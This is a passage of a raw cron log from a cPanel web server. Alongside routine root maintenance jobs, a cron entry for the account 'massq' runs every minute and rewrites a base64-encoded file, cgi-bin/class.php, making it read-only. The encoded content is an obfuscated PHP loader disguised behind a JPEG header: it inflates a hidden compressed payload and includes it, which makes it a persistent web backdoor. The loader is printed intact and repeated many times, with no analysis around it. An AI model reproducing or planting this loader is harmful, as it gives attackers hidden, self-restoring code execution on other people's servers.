&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:49:01 server CROND[30036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:50:01 server CROND[30861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:50:01 server CROND[30862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 05:50:01 server CROND[30863]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 05:50:01 server CROND[30868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:50:01 server CROND[30867]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:51:01 server CROND[32078]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:52:01 server CROND[470]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:52:01 server CROND[471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:53:01 server CROND[1392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:54:01 server CROND[2244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:55:01 server CROND[3081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:55:01 server CROND[3080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:55:01 server CROND[3082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:56:01 server CROND[4023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:57:01 server CROND[4803]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:57:01 server CROND[4804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:58:01 server CROND[5671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:59:01 server CROND[6493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:00:01 server CROND[7330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 06:00:01 server CROND[7331]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov 12 06:00:01 server CROND[7336]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:00:01 server CROND[7337]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 06:00:01 server CROND[7340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:00:01 server CROND[7338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:01:01 server CROND[8339]: (root) CMD (run-parts /etc/cron.hourly)
